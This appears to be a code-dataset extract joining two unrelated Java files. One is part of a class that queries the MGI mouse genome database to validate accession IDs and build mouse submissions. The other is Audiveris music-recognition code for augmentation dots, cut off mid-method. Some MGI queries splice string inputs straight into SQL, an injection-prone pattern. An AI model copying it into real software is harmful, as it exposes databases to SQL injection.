result.setName(trimOfficialName(rs.getString("name")));
result.setValid(true);
query = "select term from ALL_Allele aa inner join voc_term voc on aa._Allele_Type_key=voc._Term_key where _Allele_key="
+ objectKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next()) {
String alleleType = rs.getString("term");
if (verbose) System.out.println("allele type: " + alleleType);
if (alleleType.equalsIgnoreCase("QTL")) {
result.setValid(false);
result.setErrorString(
"This ID corresponds to a QTL variant. Please go back to step 2 and do a submission for the relevant inbred strain");
}
}
} else if (mgiTypeKey == MGI_MARKER) {
result.setSymbol(rs.getString("symbol"));
result.setName(rs.getString("name"));
result.setValid(true);
} else if (mgiTypeKey == MGI_REFERENCE) {
result.setAuthors(rs.getString("authors"));
result.setTitle(rs.getString("title"));
result.setValid(true);
}
}
}
} else {
if (expectedTypeID == MGI_REFERENCE) {
result.setErrorString("Not found. Please confirm that you have the correct Pubmed ID.");
result.setValid(false);
} else {
result.setErrorString("Not found in MGI database. Confirm that you have the correct Accession ID");
result.setValid(false);
}
}
} catch (NullPointerException e) {
result.setValid(offlineOK);
result.setErrorString("Connection to MGI timed out.");
result.setTitle(result.getErrorString());
result.setAuthors("");
result.setName(result.getErrorString());
result.setSymbol("");
result.setMgiConnectionTimedout(true);
e.printStackTrace(System.err);
} catch (Exception e) {
result.setValid(offlineOK);
result.setErrorString(
"MGI database connection unavailable. This is to be expected late at night on weekdays. Please manually verify that this is the correct ID");
result.setTitle(result.getErrorString());
result.setAuthors("");
result.setName(result.getErrorString());
result.setSymbol("");
result.setMgiOffline(true);
// System.err.println(query);
e.printStackTrace(System.err);
} finally {
if (connection != null) {
try {
connection.close();
} catch (SQLException ex) {
ex.printStackTrace();
}
}
}
// Close the connection to MGI.
return result;
}
public static HashMap<Integer, MouseSubmission> SubmissionFromMGI(Collection<Integer> accessionIDs,
int importTaskId) {
HashMap<Integer, MouseSubmission> newSubmissions = new HashMap<Integer, MouseSubmission>();
// TODO validate accession IDs first? so that we don't have to duplicate logic
// like
// checking that it isn't a QTL or other genome feature
HashMap<Integer, Properties> results = getPropertiesFromAlleleMgiID(accessionIDs, importTaskId);
for (int key : results.keySet()) {
Properties props = results.get(key);
if (props != null && !props.isEmpty()) {
MouseSubmission sub = new MouseSubmission();
sub.setMouseMGIID(Integer.toString(key));
sub.setIsPublished("No");
sub.setHolderFacility("unassigned");
sub.setHolderName("unassigned");
sub.setMouseType("unknown");
if (verbose) System.out.println("*****************************");
if (verbose) System.out.println("Allele MGI ID: " + key);
String geneId = null;
StringBuilder propertyList = new StringBuilder();
for (String prop : props.stringPropertyNames())
{
String value = props.getProperty(prop);
if (verbose) System.out.println(prop + ": " + value);
if (prop.equals("mouseName"))
{
sub.setOfficialMouseName(trimOfficialName(value));
}
else if (prop.equals("mouseType"))
{
propertyList.append("*" + prop + ":* " + value + "\r\n");
//targeted captures knockout or knockin mice, can be transchromosomal
if(value.startsWith("Targeted"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
if(value.contains("knock-out"))
{
}
else if (value.contains("knock-in"))
{
}
}
//Added Radiation induced muations -EW
else if (value.startsWith("Radiation"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
else if (value.startsWith("Spontaneous"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
else if (value.startsWith("Transgenic"))
{
sub.setMouseType("Transgene");
sub.setTransgenicType("undetermined");
sub.setTGExpressedSequence("undetermined");
//extract from 'Transgenic (Reporter)'
//or 'Transgenic (random, expressed)'
//or 'Transgenic (Cre/Flp)'
}
else if (value.startsWith("Gene trapped"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
else if (value.startsWith("Not Applicable"))
{
sub.setMouseType("Inbred Strain");
//TODO ????
// Allele MGI ID: 3579311
// mouseType : Not Applicable
// pubMedTitle : THE AKR THYMIC ANTIGEN AND ITS DISTRIBUTION IN LEUKEMIAS AND NERVOUS TISSUES.
// gene name : thymus cell antigen 1, theta
// gene symbol : Thy1
// mouseName : a variant
// pubMedID : 14207060
// pubMedAuthor : REIF AE
// officialSymbol : Thy1<a>
// gene mgi ID : 98747
}
else if (value.startsWith("QTL"))
{
sub.setMouseType("Inbred Strain");
}
//Enodnuclease-mediated mice will switch to this type -EW
else if (value.startsWith("Endonuclease-mediated"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
//Transposon induced added to Mutant Allele category -EW
else if (value.startsWith("Transposon induced"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
else if (value.startsWith("Chemically"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
else
{
sub.setMouseType("undetermined");
}
}
else if (prop.equals("mutationType"))
{
propertyList.append("*" + prop + ":* " + value + "\r\n");
//?????
if(value.equals("Insertion"))
{
//sub.setTransgenicType("random insertion");
}
else if (value.equals("Single point mutation"))
{
}
else if (value.equals("Other"))
{
}
else if (value.equals("Intragenic deletion"))
{
}
}
else if(prop.equals("pubMedID"))
{
sub.setIsPublished("Yes");
sub.setPMID(value);
}
else if(prop.equals("geneMgiID"))
{
geneId = value;
}
else if (prop.equals("officialSymbol"))
{
sub.setOfficialSymbol(value);
}
else if (prop.equals("description"))
{
sub.setComment(value);
}
}
if (sub.getMouseType() != null && sub.getMouseType().equals("Mutant Allele"))
{
sub.setMAMgiGeneID(geneId);
}
sub.setComment(sub.getComment() + "\r\n\r\nRaw properties returned from MGI:\r\n" + propertyList.toString());
newSubmissions.put(key, sub);
}
else
{
newSubmissions.put(key,null);
}
}
return newSubmissions;
}
private static String trimOfficialName(String rawName)
{
return rawName;
// if (rawName == null || rawName.isEmpty())
// {
// return rawName;
// }
//
// if (rawName.toLowerCase().indexOf("targeted mutation ") < 0 && rawName.toLowerCase().indexOf("transgene insertion ") < 0)
// {
// return rawName;
// }
//
// int index = rawName.indexOf(',') + 1;
// if (index >= rawName.length() - 1)
// {
// return rawName;
// }
// return rawName.substring(index).trim();
}
public static HashMap<Integer,Properties> getPropertiesFromAlleleMgiID(Collection<Integer> accessionIDs, int importTaskId)
{
HashMap<Integer,Properties> results = new HashMap<Integer,Properties>();
Connection connection = null;
Statement stmt = null;
ResultSet rs = null;
ImportStatusTracker.UpdateHeader(importTaskId, "Downloading Allele data from MGI (Task 2 of 3)");
ImportStatusTracker.SetProgress(importTaskId, 0);
double mgiIdNumber = 1;
double mgiCount = accessionIDs.size();
try
{
connection = connect();
stmt = connection.createStatement();
for(int accessionID : accessionIDs)
{
ImportStatusTracker.SetProgress(importTaskId, mgiIdNumber / mgiCount);
mgiIdNumber++;
if (accessionID < 0)
{
Log.Info("Ignored invalid accession ID: " + accessionID);
continue;
}
if (verbose) System.out.println("Fetching details for MGI:" + accessionID);
Properties props = new Properties();
results.put(accessionID, props);
//TODO get the comment??
String query = "select _Object_key " +
"from ACC_Accession left join ACC_MGIType on ACC_Accession._MGIType_key=ACC_MGIType._MGIType_key " +
"where accid='MGI:" + accessionID + "' " +
"and ACC_Accession._MGIType_key=11";
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if(!rs.next())
{
//accession ID not found, return early
Log.Info("No matching alleles found for accession ID: " + accessionID);
continue;
}
int alleleKey = rs.getInt("_Object_key");
query = "select _Marker_key,name,symbol from ALL_Allele where _Allele_key=" + alleleKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if(!rs.next())
{
//no data in allele table, very strange
if (verbose) System.out.println("No data found for allele key: " + alleleKey);
continue;
}
props.setProperty("mouseName",rs.getString("name"));
props.setProperty("officialSymbol",rs.getString("symbol"));
ImportStatusTracker.AppendMessage(importTaskId, "MGI:" + accessionID + " -> " + HTMLUtilities.getCommentForDisplay(props.getProperty("officialSymbol")));
int markerKey = rs.getInt("_Marker_key");
query = "select term from ALL_Allele_Mutation mut inner join voc_term voc on mut._mutation_key=voc._term_key where _Allele_key=" + alleleKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
String mutation = rs.getString("term");
//convert MGI terminology to ours
props.setProperty("mutationType",mutation);
}
query = "select term from ALL_Allele aa inner join voc_term voc on aa._Allele_Type_key=voc._Term_key where _Allele_key=" + alleleKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
String alleleType = rs.getString("term");
//convert MGI terminology to ours
props.setProperty("mouseType",alleleType);
}
if (markerKey > 0)
{
query = "select symbol,name from MRK_Marker where _Marker_key=" + markerKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
//todo set gene properties
String symbol = rs.getString("symbol");
String name = rs.getString("name");
props.setProperty("geneSymbol",symbol);
props.setProperty("geneName",name);
query = "select numericPart from ACC_Accession WHERE _MGIType_key=2 " +
"and _Object_key=" + markerKey + " and prefixPart='MGI:' and preferred=1";
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
int geneMgiId = rs.getInt("numericPart");
props.setProperty("geneMgiID",Integer.toString(geneMgiId));
//todo set gene MGI accession ID
}
}
}
else
{
Log.Info("No markers for allele MGI: " + accessionID);
}
query = "select _Refs_key from mgi_reference_assoc ref inner join mgi_refassoctype ty using(_refassoctype_key) where _Object_key=" + alleleKey + " and assoctype='Original'";
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
int refKey = rs.getInt("_Refs_key");
query = "select _primary,title from BIB_refs where _Refs_key=" + refKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
props.setProperty("pubMedAuthor", rs.getString("_primary"));
props.setProperty("pubMedTitle", rs.getString("title"));
}
query = "select accID from ACC_Accession where _MGIType_key=1 and _Object_key=" + refKey + " and prefixPart is NULL";
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
props.setProperty("pubMedID", rs.getString("accID"));
}
else
{
query = "select accID from ACC_Accession where _MGIType_key=1 and _Object_key=" + refKey + "and prefixPart='MGI:'";
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
props.setProperty("referenceMgiAccessionId", rs.getString("accID"));
}
}
}
StringBuilder sb = new StringBuilder();
//Fixed import comment from MGI_notechunk table does not exist
query = "select note " +
"from MGI_Note n, MGI_NoteType t "+
"where n._NoteType_key = t._NoteType_key " +
"and n._MGIType_key = 11 " +
"and _object_key="+ alleleKey + " " +
"and noteType='Molecular'";
if (verbose) System.out.println(query);
rs= stmt.executeQuery(query);
while (rs.next())
{
sb.append(rs.getString("note"));
}
if (sb.length() > 0)
{
props.setProperty("description", sb.toString());
}
else {
Log.Error("No description found for allele w/ accID: " + accessionID + ". Ran this query:\n" + query);
}
}
}
catch (Exception e)
{
Log.Error("Error fetching Allele details from MGI",e);
ImportStatusTracker.UpdateStatus(importTaskId, ImportStatus.ERROR);
ImportStatusTracker.AppendMessage(importTaskId,"Error fetching allele details: " + e.getMessage());
}
finally
{
if(connection != null)
{
try
{
connection.close();
}
catch(SQLException ex)
{
ex.printStackTrace();
}
}
ImportStatusTracker.SetProgress(importTaskId, 1);
}
if(verbose){
for(int mgiId : results.keySet()){
Properties props = results.get(mgiId);
System.out.println("Properties for MGI:" + mgiId);
for (String prop : props.stringPropertyNames())
{
String value = props.getProperty(prop);
System.out.println(prop + ": " + value);
}
}
}
return results;
}
// private static void getOfficialMouseNames(String[] accessionIds)
// {
// Connection connection = null;
// Statement stmt = null;
// ResultSet rs = null;
//
// try
// {
// connection = connect();
// stmt = connection.createStatement();
// for(String accessionID : accessionIds)
// {
// if (verbose) System.out.println("Fetching details for MGI:" + accessionID);
// //Properties props = new Properties();
// //TODO get the comment??
// String query = "select ACC_Accession.numericPart, symbol,ALL_ALLELE.name " +
// "from ACC_Accession left join ACC_MGIType on ACC_Accession._MGIType_key=ACC_MGIType._MGIType_key " +
// "left join ALL_ALLELE on ACC_Accession._Object_key = ALL_Allele._Allele_key " +
// "where accID='" + accessionID + "' " +
// "and ACC_Accession._MGIType_key = 11 ";
// if (verbose) System.out.println(query);
// rs = stmt.executeQuery(query);
// if(!rs.next())
// {
// //accession ID not found, return early
// Log.Info("No matching alleles found for accession ID: " + accessionID);
// continue;
// }
//
// int id<SUF>
// //String symbol = rs.getString(2);
// String name = rs.getString(3);
//
// if (verbose) System.out.println(name + "\t" + id);
//
// }
//
// }
// catch (Exception e)
// {
// e.printStackTrace();
// }
// finally
// {
// if(connection != null)
// {
// try
// {
// connection.close();
// }
// catch(SQLException ex)
// {
// ex.printStackTrace();
// }
// }
// }
//
// }
private static String getAlleleQueryFromOGFID(String OGFID)
{
return "select a2.accId from acc_accession a1, all_allele e, acc_accession a2 where a1.accid='" + OGFID + "' and a1._mgitype_key=2 and a2._mgitype_key=11 and a2._object_key=e._allele_key and e._marker_key=a1._object_key";
}
public static MGIResult DoReferenceQuery(String refAccessionID)
{
return doMGIQuery(refAccessionID, MGI_REFERENCE, "Pubmed ID not found. Please confirm that you entered it correctly.");
}
public static MGIResult DoMGIModifiedGeneQuery(String geneAccessionID)
{
return doMGIQuery(geneAccessionID, MGI_MARKER, "This is a valid Accession ID, but it does not correspond to a gene detail page. Click on the link to see what it does correspond to. Find the gene detail page for the gene that is modified in the mouse being submitted and re-enter the ID.");
}
public static MGIResult DoMGIInsertGeneQuery(String geneAccessionID)
{
return doMGIQuery(geneAccessionID, MGI_MARKER, "Valid Accession ID, but not a gene detail page.");
}
public static MGIResult DoMGIExpressedGeneQuery(String geneAccessionID)
{
return doMGIQuery(geneAccessionID, MGI_MARKER, "This is a valid Accession ID, but it does not correspond to a gene detail page. Click on the link to see what it does correspond to. Find the gene detail page for the gene that is expressed and re-enter the ID.");
}
public static MGIResult DoMGIKnockedinGeneQuery(String geneAccessionID)
{
return doMGIQuery(geneAccessionID, MGI_MARKER, "This is a valid Accession ID, but it does not correspond to a gene detail page. Click on the link to see what it does correspond to. Find the gene detail page for the gene into which the expressed sequence was inserted and re-enter the ID.");
}
public static MGIResult DoMGIAlleleQuery(String alleleAccessionID)
{
return doMGIQuery(alleleAccessionID, MGI_ALLELE, "This is a valid Accession ID, but it does not correspond to an allele detail page. Click on the link to see what it does correspond to. Find the allele detail page for the mouse being submitted and re-enter the ID.");
}
public static MGIResult DoMGITransgeneQuery(String transgeneAccessionID)
{
return doMGIQuery(transgeneAccessionID, MGI_ALLELE, "This is a valid Accession ID, but it does not correspond to a transgene detail page. Click on the link to see what it does correspond to. Find the transgene detail page for the mouse being submitted and re-enter the ID. ");
}
private static Connection connect() throws Exception
{
if (!initialized)
{
throw new Exception("Tried to connect to MGI before initializing connection parameters!");
}
ConnectionThread t = new ConnectionThread();
t.start();
long timeoutMillis = 10000;
t.join(timeoutMillis);
if (t.isAlive())
{
//timeout reached, kill thread and throw timeout exception
t.interrupt();
Log.Info("Timeout reached, interrupting mgi connection thread");
}
return t.getConnection();
}
private static class ConnectionThread extends Thread
{
private Connection connection = null;
public ConnectionThread()
{
super();
}
@Override
public void run() {
try {
// Load the JDBC driver: MySQL MM JDBC driver
Class.forName(databaseDriverName);
// Create a new connection to MGI
setConnection(DriverManager.getConnection(databaseConnectionString));
if (verbose) System.out.println("Successfully connected to MGI, returning connection");
} catch (ClassNotFoundException e) {
Log.Error("Failed to connect to MGI:", e);
} catch (SQLException e) {
Log.Error("Failed to connect to MGI:", e);
}
}
void setConnection(Connection connection) {
this.connection = connection;
}
Connection getConnection() {
return connection;
}
}
}
|
200285_47 | //------------------------------------------------------------------------------------------------//
// //
// A u g m e n t a t i o n D o t I n t e r //
// //
//------------------------------------------------------------------------------------------------//
// <editor-fold defaultstate="collapsed" desc="hdr">
//
// Copyright © Audiveris 2018. All rights reserved.
//
// This program is free software: you can redistribute it and/or modify it under the terms of the
// GNU Affero General Public License as published by the Free Software Foundation, either version
// 3 of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
// without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License along with this
// program. If not, see <http://www.gnu.org/licenses/>.
//------------------------------------------------------------------------------------------------//
// </editor-fold>
package org.audiveris.omr.sig.inter;
import org.audiveris.omr.glyph.Glyph;
import org.audiveris.omr.glyph.Shape;
import org.audiveris.omr.math.GeoOrder;
import org.audiveris.omr.math.GeoUtil;
import org.audiveris.omr.sheet.Part;
import org.audiveris.omr.sheet.Scale;
import org.audiveris.omr.sheet.SystemInfo;
import org.audiveris.omr.sheet.rhythm.MeasureStack;
import org.audiveris.omr.sheet.rhythm.Voice;
import org.audiveris.omr.sig.relation.AugmentationRelation;
import org.audiveris.omr.sig.relation.DoubleDotRelation;
import org.audiveris.omr.sig.relation.HeadStemRelation;
import org.audiveris.omr.sig.relation.Link;
import org.audiveris.omr.sig.relation.Relation;
import static org.audiveris.omr.util.HorizontalSide.RIGHT;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.awt.Point;
import java.awt.Rectangle;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
import javax.xml.bind.annotation.XmlRootElement;
/**
* Class {@code AugmentationDotInter} represents an augmentation dot for
* a note (head or rest) or another dot.
*
* @author Hervé Bitteur
*/
@XmlRootElement(name = "augmentation-dot")
public class AugmentationDotInter
extends AbstractInter
{
private static final Logger logger = LoggerFactory.getLogger(AugmentationDotInter.class);
/**
* Creates a new {@code AugmentationDotInter} object.
*
* @param glyph underlying glyph
* @param grade evaluation value
*/
public AugmentationDotInter (Glyph glyph,
double grade)
{
super(glyph, null, Shape.AUGMENTATION_DOT, grade);
}
/**
* No-arg constructor meant for JAXB.
*/
private AugmentationDotInter ()
{
}
//--------//
// accept //
//--------//
@Override
public void accept (InterVisitor visitor)
{
visitor.visit(this);
}
//-------//
// added //
//-------//
/**
* Add the dot to its containing stack.
*
* @see #remove(boolean)
*/
@Override
public void added ()
{
super.added();
// Add it to containing measure stack
MeasureStack stack = sig.getSystem().getStackAt(getCenter());
if (stack != null) {
stack.addInter(this);
}
setAbnormal(true); // No note or other dot linked yet
}
//---------------//
// checkAbnormal //
//---------------//
@Override
public boolean checkAbnormal ()
{
// Check if dot is connected to a note or to another (first) dot
boolean ab = true;
if (sig.hasRelation(this, AugmentationRelation.class)) {
ab = false;
} else {
for (Relation dd : sig.getRelations(this, DoubleDotRelation.class)) {
if (sig.getEdgeSource(dd) == this) {
ab = false;
}
}
}
setAbnormal(ab);
return isAbnormal();
}
//-------------------//
// getAugmentedNotes //
//-------------------//
/**
* Report the notes (head/rest) that are currently linked to this augmentation dot.
*
* @return the linked notes
*/
public List<AbstractNoteInter> getAugmentedNotes ()
{
List<AbstractNoteInter> notes = null;
for (Relation rel : sig.getRelations(this, AugmentationRelation.class)) {
if (notes == null) {
notes = new ArrayList<>();
}
notes.add((AbstractNoteInter) sig.getEdgeTarget(rel));
}
if (notes == null) {
return Collections.EMPTY_LIST;
}
return notes;
}
//---------//
// getPart //
//---------//
@Override
public Part getPart ()
{
if (part == null) {
// Beware, we may have two dots that refer to one another
// First dot
for (Relation rel : sig.getRelations(this, AugmentationRelation.class)) {
Inter opposite = sig.getOppositeInter(this, rel);
return part = opposite.getPart();
}
final int dotCenterX = getCenter().x;
// Perhaps a second dot, let's look for a first dot
for (Relation rel : sig.getRelations(this, DoubleDotRelation.class)) {
Inter opposite = sig.getOppositeInter(this, rel);
if (opposite.getCenter().x < dotCenterX) {
return part = opposite.getPart();
}
}
}
return super.getPart();
}
//--------------------------//
// getSecondAugmentationDot //
//--------------------------//
/**
* Report the second augmentation dot, if any, that is linked to this (first)
* augmentation dot.
*
* @return the second dot, if any, or null
*/
public AugmentationDotInter getSecondAugmentationDot ()
{
for (Relation dd : sig.getRelations(this, DoubleDotRelation.class)) {
Inter dot = sig.getEdgeSource(dd);
if (dot != this) {
return (AugmentationDotInter) dot;
}
}
return null;
}
//----------//
// getVoice //
//----------//
@Override
public Voice getVoice ()
{
// Use augmented note, if any
for (Relation rel : sig.getRelations(this, AugmentationRelation.class)) {
return sig.getOppositeInter(this, rel).getVoice();
}
// If second dot, use first dot
for (Relation rel : sig.getRelations(this, DoubleDotRelation.class)) {
Inter firstDot = sig.getEdgeTarget(rel);
if (firstDot != this) {
return firstDot.getVoice();
}
}
return null;
}
//----------------//
// lookupDotLinks //
//----------------//
/**
* Look up for all possible links with (first) dots.
*
* @param systemDots collection of augmentation dots in system, ordered bottom up
* @param system containing system
* @return list of possible links, perhaps empty
*/
public List<Link> lookupDotLinks (List<Inter> systemDots,
SystemInfo system)
{
// Need getCenter()
final List<Link> links = new ArrayList<>();
final Scale scale = system.getSheet().getScale();
final Point dotCenter = getCenter();
final MeasureStack dotStack = system.getStackAt(dotCenter);
if (dotStack == null) {
return links;
}
// Look for augmentation dots reachable from this dot
final Rectangle luBox = getDotsLuBox(dotCenter, system);
// Relevant dots?
final List<Inter> firsts = dotStack.filter(
Inters.intersectedInters(systemDots, GeoOrder.NONE, luBox));
// Remove the augmentation dot, if any, that corresponds to the glyph at hand
for (Inter first : firsts) {
if (first.getCenter().equals(dotCenter)) {
firsts.remove(first);
break;
}
}
final int minDx = scale.toPixels(DoubleDotRelation.getXOutGapMinimum(manual));
for (Inter first : firsts) {
Point refPt = first.getCenterRight();
double xGap = dotCenter.x - refPt.x;
if (xGap >= minDx) {
double yGap = Math.abs(refPt.y - dotCenter.y);
DoubleDotRelation rel = new DoubleDotRelation();
rel.setOutGaps(scale.pixelsToFrac(xGap), scale.pixelsToFrac(yGap), manual);
if (rel.getGrade() >= rel.getMinGrade()) {
links.add(new Link(first, rel, true));
}
}
}
return links;
}
//----------------//
// lookupHeadLink //
//----------------//
/**
* Look up for a possible link with a head.
* <p>
* Even in the case of a shared head, at most one head link is returned.
* <p>
* Assumption: System dots are already in place or they are processed top down.
*
* @param systemHeadChords system head chords, sorted by abscissa
* @param system containing system
* @return a link or null
*/
public Link lookupHeadLink (List<Inter> systemHeadChords,
SystemInfo system)
{
// Need sig and getCenter()
final List<Link> links = new ArrayList<>();
final Scale scale = system.getSheet().getScale();
final Point dotCenter = getCenter();
final MeasureStack dotStack = system.getStackAt(dotCenter);
if (dotStack == null) {
return null;
}
// Look for heads reachable from this dot. Heads are processed via their chord.
final Rectangle luBox = getNotesLuBox(dotCenter, system);
final List<Inter> chords = dotStack.filter(
Inters.intersectedInters(systemHeadChords, GeoOrder.BY_ABSCISSA, luBox));
final int minDx = scale.toPixels(AugmentationRelation.getXOutGapMinimum(manual));
for (Inter ic : chords) {
HeadChordInter chord = (HeadChordInter) ic;
// Heads are reported bottom up within their chord
// So, we need to sort the list top down
List<? extends Inter> chordHeads = chord.getNotes();
Collections.sort(chordHeads, Inters.byCenterOrdinate);
for (Inter ih : chordHeads) {
HeadInter head = (HeadInter) ih;
// Check head is within reach and not yet augmented
if (GeoUtil.yEmbraces(luBox, head.getCenter().y)
&& (head.getFirstAugmentationDot() == null)) {
Point refPt = head.getCenterRight();
double xGap = dotCenter.x - refPt.x;
// Make sure dot is not too close to head
if (xGap < minDx) {
continue;
}
// When this method is called, there is at most one stem per head
// (including the case of shared heads)
for (Relation rel : system.getSig().getRelations(
head,
HeadStemRelation.class)) {
HeadStemRelation hsRel = (HeadStemRelation) rel;
if (hsRel.getHeadSide() == RIGHT) {
// If containing chord has heads on right side, reduce xGap accordingly
Rectangle rightBox = chord.getHeadsBounds(RIGHT);
if (rightBox != null) {
if (xGap > 0) {
xGap = Math.max(1, xGap - rightBox.width);
}
break;
}
}
}
if (xGap > 0) {
double yGap = Math.abs(refPt.y - dotCenter.y);
AugmentationRelation rel = new AugmentationRelation();
rel.setOutGaps(scale.pixelsToFrac(xGap), scale.pixelsToFrac(yGap), manual);
if (rel.getGrade() >= rel.getMinGrade()) {
links.add(new Link(head, rel, true));
}
}
}
}
}
// Now choose best among links
// First priority is given to head between lines (thus facing the dot)
// Second priority is given to head on lower line
// Third priority is given to head on upper line
for (Link link : links) {
HeadInter head = (HeadInter) link.partner;
if ((head.getIntegerPitch() % 2) != 0) {
return link;
}
}
return (!links.isEmpty()) ? links.get(0) : null;
}
//-----------------//
// lookupRestLinks //
//-----------------//
/**
* Look up for all possible links with rests
*
* @param systemRests system rests, sorted by abscissa
* @param system containing system
* @return list of possible links, perhaps empty
*/
public List<Link> lookupRestLinks (List<Inter> systemRests,
SystemInfo system)
{
// Need getCenter()
final List<Link> links = new ArrayList<>();
final Scale scale = system.getSheet().getScale();
final Point dotCenter = getCenter();
final MeasureStack dotStack = system.getStackAt(dotCenter);
if (dotStack == null) {
return links;
}
// Look for rests reachable from this dot
final Rectangle luBox = getNotesLuBox(dotCenter, system);
// Relevant rests?
final List<Inter> rests = dotStack.filter(
Inters.intersectedInters(systemRests, GeoOrder.BY_ABSCISSA, luBox));
final int minDx = scale.toPixels(AugmentationRelation.getXOutGapMinimum(manual));
for (Inter inter : rests) {
RestInter rest = (RestInter) inter;
Point refPt = rest.getCenterRight();
double xGap = dotCenter.x - refPt.x;
if (xGap >= minDx) {
double yGap = Math.abs(refPt.y - dotCenter.y);
AugmentationRelation rel = new AugmentationRelation();
rel.setOutGaps(scale.pixelsToFrac(xGap), scale.pixelsToFrac(yGap), manual);
if (rel.getGrade() >= rel.getMinGrade()) {
links.add(new Link(rest, rel, true));
}
}
}
return links;
}
//--------//
// remove //
//--------//
/**
* Remove the dot from its containing stack.
*
* @param extensive true for non-manual removals only
* @see #added()
*/
@Override
public void remove (boolean extensive)
{
MeasureStack stack = sig.getSystem().getStackAt(getCenter());
if (stack != null) {
stack.removeInter(this);
}
super.remove(extensive);
}
//-------------//
// searchLinks //
//-------------//
/**
* Try to find a link with a note or another dot on the left.
* <p>
* In case of a shared head, a pair of links can be returned.
*
* @param system containing system
* @param doit true to apply
* @return a collection of 0, 1 or 2 best link(s) found
*/
@Override
public Collection<Link> searchLinks (SystemInfo system,
boolean doit)
{
// Not very optimized!
List<Inter> systemRests = system.getSig().inters(RestInter.class);
Collections.sort(systemRests, Inters.byAbscissa);
List<Inter> systemHeadChords = system.getSig().inters(HeadChordInter.class);
Collections.sort(systemHeadChords, Inters.byAbscissa);
List<Inter> systemDots = system.getSig().inters(AugmentationDotInter.class);
Collections.sort(systemDots, Inters.byAbscissa);
Link link = lookupLink(systemRests, systemHeadChords, systemDots, system);
if (link == null) {
return Collections.emptyList();
}
final Collection<Link> links;
if (link.partner instanceof HeadInter) {
links = sharedHeadLinks(link);
} else {
links = Collections.singleton(link);
}
if (doit) {
for (Link lnk : links) {
lnk.applyTo(this);
}
}
return links;
}
//-----------------//
// sharedHeadLinks //
//-----------------//
/**
* Modify the provided head link when the target head is a shared head.
* <p>
* There is a very specific case for shared heads.
* See some cases in Dichterliebe01 example.
* <ul>
* <li>If head is located <b>on</b> staff line or ledger, use dot relative location.
* <li>If head is located <b>between</b> staff lines or ledgers, check chords durations:
* <ul>
* <li>If durations are different, assign the dot only to the <b>longer</b>
* (which means lower number of beams or flags).
* <li>If they are identical, assign the dot to <b>both</b>.
* </ul>
* </ul>
*
* @param link the provided (head) link, perhaps null
* @return a collection of (head) links, the provided link for a non-shared head, but one or two
* links for shared heads
*/
public Collection<Link> sharedHeadLinks (Link link)
{
if (link == null) {
return Collections.EMPTY_LIST;
}
final Collection<Link> links = new ArrayList<>();
final HeadInter h1 = (HeadInter) link.partner;
final HeadInter h2 = (HeadInter) h1.getMirror();
if (h2 == null) {
links.add(link);
} else {
// Head on or between line(s)?
final int p = h1.getIntegerPitch();
if (p % 2 == 0) {
// On line
final int yHead = h1.getCenter().y;
final int yAug = getCenter().y;
final int yCh1 = h1.getChord().getCenter().y;
final HeadInter head;
if (yAug < yHead) {
// Link to upper
head = yCh1 < yHead ? h1 : h2;
} else {
// Link to lower
head = yCh1 > yHead ? h1 : h2;
}
links.add(new Link(head, new AugmentationRelation(), true));
} else {
// Between lines
final int bf1 = h1.getChord().getBeamsOrFlagsNumber();
final int bf2 = h2.getChord().getBeamsOrFlagsNumber();
if (bf1 == bf2) {
// Link to both
links.add(new Link(h1, new AugmentationRelation(), true));
links.add(new Link(h2, new AugmentationRelation(), true));
} else {
// Link to longer
HeadInter head = (bf1 < bf2) ? h1 : h2;
links.add(new Link(head, new AugmentationRelation(), true));
}
}
}
return links;
}
//--------------//
// getDotsLuBox //
//--------------//
/**
* Report dots lookup box based on provided dot center
*
* @param dotCenter center of dot candidate
* @param system containing system
* @return proper lookup box
*/
private Rectangle getDotsLuBox (Point dotCenter,
SystemInfo system)
{
final Scale scale = system.getSheet().getScale();
final int maxDx = scale.toPixels(DoubleDotRelation.getXOutGapMaximum(manual));
final int maxDy = scale.toPixels(DoubleDotRelation.getYGapMaximum(manual));
return getLuBox(dotCenter, maxDx, maxDy);
}
//---------------//
// getNotesLuBox //
//---------------//
/**
* Report notes lookup box based on provided dot center
*
* @param dotCenter center of dot candidate
* @param system containing system
* @return proper lookup box
*/
private Rectangle getNotesLuBox (Point dotCenter,
SystemInfo system)
{
final Scale scale = system.getSheet().getScale();
final int maxDx = scale.toPixels(AugmentationRelation.getXOutGapMaximum(manual));
final int maxDy = scale.toPixels(AugmentationRelation.getYGapMaximum(manual));
return getLuBox(dotCenter, maxDx, maxDy);
}
//----------//
// getLuBox //
//----------//
/**
* Report proper lookup box based on provided dot center
*
* @param dotCenter center of dot candidate
* @param maxDx maximum dx between entity left side and dot center
* @param maxDy maximum dy between entity center and dot center
* @return proper lookup box
*/
private static Rectangle getLuBox (Point dotCenter,
int maxDx,
int maxDy)
{
